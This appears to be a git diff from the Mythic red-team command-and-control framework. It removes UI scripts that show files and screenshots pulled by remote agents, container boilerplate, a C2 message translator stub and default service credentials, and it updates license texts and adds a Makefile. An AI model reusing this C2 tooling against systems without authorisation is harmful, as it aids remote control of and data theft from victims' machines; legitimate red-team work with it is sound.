||||
"value": data["files"][i]["permissions"],
|
||||
"leftColumnTitle": "XATTR",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing XATTRs"
|
||||
},
|
||||
{
|
||||
"name": "Get Code Signatures",
|
||||
"type": "task",
|
||||
"ui_feature": "code_signatures:list",
|
||||
"parameters": ls_path
|
||||
},
|
||||
{
|
||||
"name": "LS Path",
|
||||
"type": "task",
|
||||
"ui_feature": "file_browser:list",
|
||||
"parameters": ls_path
|
||||
},
|
||||
{
|
||||
"name": "Download File",
|
||||
"type": "task",
|
||||
"disabled": !data["files"][i]["is_file"],
|
||||
"ui_feature": "file_browser:download",
|
||||
"parameters": ls_path,
|
||||
"startIcon": "download",
|
||||
"startIconColor": "lightgreen",
|
||||
"hoverText": "Task agent to download"
|
||||
}
|
||||
]
|
||||
}}
|
||||
};
|
||||
rows.push(row);
|
||||
}
|
||||
return {"table":[{
|
||||
"headers": headers,
|
||||
"rows": rows,
|
||||
"title": "File Listing Data"
|
||||
}]};
|
||||
}else if(task.status === "processed"){
|
||||
// this means we're still downloading
|
||||
return {"plaintext": "Only have partial data so far..."}
|
||||
}else{
|
||||
// this means we shouldn't have any output
|
||||
return {"plaintext": "Not response yet from agent..."}
|
||||
}
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
if(responses.length > 0){
|
||||
let data = JSON.parse(responses[0]);
|
||||
return {"screenshot":[{
|
||||
"agent_file_id": [data["file_id"]],
|
||||
"variant": "contained",
|
||||
"name": "View Screenshot"
|
||||
}]};
|
||||
}else{
|
||||
return {"plaintext": "No data to display..."}
|
||||
}
|
||||
|
||||
}else if(task.status === "processed"){
|
||||
// this means we're still downloading
|
||||
if(responses.length > 0){
|
||||
let data = JSON.parse(responses[0]);
|
||||
return {"screenshot":[{
|
||||
"agent_file_id": [data["file_id"]],
|
||||
"variant": "contained",
|
||||
"name": "View Partial Screenshot"
|
||||
}]};
|
||||
}
|
||||
return {"plaintext": "No data yet..."}
|
||||
}else{
|
||||
// this means we shouldn't have any output
|
||||
return {"plaintext": "Not response yet from agent..."}
|
||||
}
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from mythic_payloadtype_container import mythic_service
|
||||
mythic_service.start_service_and_heartbeat()
|
||||
@@ -1,7 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
cd /Mythic/mythic
|
||||
|
||||
export PYTHONPATH=/Mythic:/Mythic/mythic
|
||||
|
||||
python3.8 mythic_service.py
|
||||
@@ -1,8 +0,0 @@
|
||||
{
|
||||
"username": "mythic_user",
|
||||
"password": "mythic_password",
|
||||
"virtual_host": "mythic_vhost",
|
||||
"host": "127.0.0.1",
|
||||
"name": "hostname",
|
||||
"container_files_path": "/Mythic/"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
FROM itsafeaturemythic/python38_translator_container:0.0.4
|
||||
Whitespace-only changes.
Whitespace-only changes.
@@ -1,81 +0,0 @@
|
||||
import json
|
||||
import base64
|
||||
import sys
|
||||
# translate_from_c2_format gets a message from Mythic that is in the c2-specific format
|
||||
# and returns a message that's translated into Mythic's JSON format
|
||||
# If the associated C2Profile has `mythic_encrypts` set to False, then this function should also decrypt
|
||||
# the message
|
||||
# request will be JSON with the following format:
|
||||
# {
|
||||
# "enc_key": None or base64 of key if Mythic knows of one,
|
||||
# "dec_key": None or base64 of key if Mythic knows of one,
|
||||
# "uuid": uuid of the message,
|
||||
# "profile": name of the c2 profile,
|
||||
# "mythic_encrypts": True or False if Mythic thinks Mythic does the encryption or not,
|
||||
# "type": None or a keyword for the type of encryption. currently only option besides None is "AES256"
|
||||
# "message": base64 of the message that's currently in c2 specific format
|
||||
# }
|
||||
# This should return the JSON of the message in Mythic format
|
||||
|
||||
|
||||
async def translate_from_c2_format(request) -> dict:
|
||||
if not request["mythic_encrypts"]:
|
||||
return json.loads(base64.b64decode(request["message"]).decode()[36:])
|
||||
else:
|
||||
return json.loads(base64.b64decode(request["message"]))
|
||||
|
||||
|
||||
# translate_to_c2_format gets a message from Mythic that is in Mythic's JSON format
|
||||
# and returns a message that's formatted into the c2-specific format
|
||||
# If the associated C2Profile has `mythic_encrypts` set to False, then this function should also encrypt
|
||||
# the message
|
||||
# request will be JSON with the following format:
|
||||
# {
|
||||
# "enc_key": None or base64 of key if Mythic knows of one,
|
||||
# "dec_key": None or base64 of key if Mythic knows of one,
|
||||
# "uuid": uuid of the message,
|
||||
# "profile": name of the c2 profile,
|
||||
# "mythic_encrypts": True or False if Mythic thinks Mythic does the encryption or not,
|
||||
# "type": None or a keyword for the type of encryption. currently only option besides None is "AES256"
|
||||
# "message": JSON of the mythic message
|
||||
# }
|
||||
# This should return the bytes of the message in c2 specific format
|
||||
|
||||
async def translate_to_c2_format(request) -> bytes:
|
||||
if not request["mythic_encrypts"]:
|
||||
return base64.b64encode(request["uuid"].encode() + json.dumps(request["message"]).encode())
|
||||
else:
|
||||
return json.dumps(request["message"]).encode()
|
||||
|
||||
|
||||
# generate_keys gets a message from Mythic that is in Mythic's JSON format
|
||||
# and returns a a JSON message with encryption and decryption keys for the specified type
|
||||
# request will be JSON with the following format:
|
||||
# { "action": "generate_keys",
|
||||
# "message": JSON of the C2 parameter that has a crypt_type that's not None and not empty
|
||||
# }
|
||||
# example:
|
||||
# {"action":"generate_keys",
|
||||
# "message":{
|
||||
# "id":39,
|
||||
# "name":"AESPSK",
|
||||
# "default_value":"aes256_hmac\nnone",
|
||||
# "required":false,
|
||||
# "randomize":false,
|
||||
# "verifier_regex":"",
|
||||
# "parameter_type":"ChooseOne",
|
||||
# "description":"Crypto type",
|
||||
# "c2_profile":"http",
|
||||
# "value":"none",
|
||||
# "payload":"be8bd7fa-e095-4e69-87aa-a18ba73288cb",
|
||||
# "instance_name":null,
|
||||
# "operation":null,
|
||||
# "callback":null}}
|
||||
# This should return the dictionary of keys like:
|
||||
# {
|
||||
# "enc_key": "base64 of encryption key here",
|
||||
# "dec_key": "base64 of decryption key here",
|
||||
# }
|
||||
|
||||
async def generate_keys(request) -> dict:
|
||||
return {"enc_key": None, "dec_key": None}
|
||||
Whitespace-only changes.
@@ -1,7 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
cd /Mythic/mythic
|
||||
|
||||
export PYTHONPATH=/Mythic:/Mythic/mythic
|
||||
|
||||
python3.8 mythic_service.py
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from mythic_translator_container import mythic_service
|
||||
mythic_service.start_service_and_heartbeat()
|
||||
@@ -1,8 +0,0 @@
|
||||
{
|
||||
"username": "mythic_user",
|
||||
"password": "mythic_password",
|
||||
"virtual_host": "mythic_vhost",
|
||||
"host": "127.0.0.1",
|
||||
"name": "hostname",
|
||||
"container_files_path": "/Mythic/"
|
||||
}
|
||||
File renamed without changes.
@@ -29,29 +29,7 @@ OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
|
||||
## Licenses for other projects used:
|
||||
|
||||
## Wait For It - https://github.com/vishnubob/wait-for-it
|
||||
The MIT License (MIT)
|
||||
Copyright (c) 2016 Giles Hall
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
of the Software, and to permit persons to whom the Software is furnished to do
|
||||
so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
# Licenses for other projects used:
|
||||
|
||||
## arrgv - https://github.com/astur/arrgv
|
||||
MIT License
|
||||
@@ -75,3 +53,126 @@ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
## https://pkg.go.dev/golang.org/x/mod/semver?tab=licenses
|
||||
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
## https://github.com/IonicaBizau/anser/blob/master/LICENSE
|
||||
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2012-22 Ionică Bizău <[email protected]> (https://ionicabizau.net)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
## https://github.com/rubenv/sql-migrate/blob/master/LICENSE
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (C) 2014-2021 by Ruben Vermeersch <[email protected]>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
MIT license
|
||||
===========
|
||||
|
||||
Copyright (c) 2017 sql.js authors (see AUTHORS)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
|
||||
|
||||
# Some portions of the Makefile taken from:
|
||||
Copyright 2017 Ryusei Yamaguchi
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
|
||||
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
|
||||
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
||||
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
@@ -0,0 +1,17 @@
|
||||
.PHONY: default
|
||||
default: linux ;
|
||||
|
||||
linux:
|
||||
cd Mythic_CLI && make build_linux && mv mythic-cli ../
|
||||
|
||||
macos:
|
||||
cd Mythic_CLI && make build_macos && mv mythic-cli ../
|
||||
|
||||
local:
|
||||
cd Mythic_CLI && make build_local
|
||||
|
||||
linux_docker:
|
||||
cd Mythic_CLI && make build_linux_docker && mv mythic-cli ../
|
||||
|
||||
macos_docker:
|
||||
cd Mythic_CLI && make build_macos_docker && mv mythic-cli ../
|
||||
File diff suppressed because it is too large.
Load diff
Loaded 100 of 2973 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user